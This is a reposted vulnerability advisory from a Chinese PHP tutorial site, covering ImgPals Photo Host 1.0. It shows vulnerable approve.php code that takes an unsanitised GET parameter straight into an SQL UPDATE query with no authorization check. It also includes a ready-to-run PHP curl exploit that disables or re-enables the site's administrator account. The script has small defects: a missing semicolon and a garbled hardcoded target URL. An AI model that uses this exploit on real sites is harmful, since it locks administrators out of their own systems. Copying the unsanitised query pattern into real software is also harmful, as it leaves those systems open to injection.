网站地图    收藏   

主页 > 后端 > 网站安全 >

ImgPals Photo Host Version 1.0管理账号失效缺陷及修复

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] ImgPals Photo Host Version 1.0 STABLE作者: Corrado Liotta Aka CorryL程序: ImgPals Photo Host影响版本: 1.0 STABLE开发这网站: http://www.imgpals.com/forum/运行平台: Windows\Linux\Uni......

ImgPals Photo Host Version 1.0 STABLE
作者: Corrado Liotta Aka CorryL
程序: ImgPals Photo Host
影响版本: 1.0 STABLE
开发这网站: http://www.imgpals.com/forum/
运行平台: Windows\Linux\Unix
...::[ 概述 ]::..
I released the ImgPals Photo Host Version 1.0 STABLE
Features Include:
    * Easy Install
    * Full README file included
    * Full Control Panel to control your site
    * User Side Features
          o Multiple JQuery Uploads
          o Create and Edit Photo Albums
          o Make Albums Public or Private
          o Describe Albums and Photos
          o Move, Delete, Rename, Rotate, Rate, Comment, and Tag Photos
          o Add Friends
          o Chat with Friends
          o Update people with status wall posting
          o Manage Profile
          o Profile Avatar Uploads
          o Private Messaging
    * And much more, be sure to check out the Demo
...::[ 漏洞 ]::..
A attaker can remotely disable the account from administratore not
allowing the same to be able to access the site
...::[证明]::..
 if ($_GET['a'] == 'app0'){
                 $sqlapprove = mysql_query("UPDATE members SET
approved = '0' WHERE id = '".$_GET['u']."'");
by sending the command approve.php? u = a = 1 & app0 a attaker can
disable the Administrator account.
...::[ Exploit ]::..
#!/usr/bin/php -f
<?php
//Coded by Corrado Liotta For educational purpose only
//use php exploit.php server app0 or app1
//use app0 for admin account off
//use app1 for admin account on
$target = $argv[1];
$power = $argv[2]
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http:// www.2cto.com /approve.php?u=1&a=$power");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论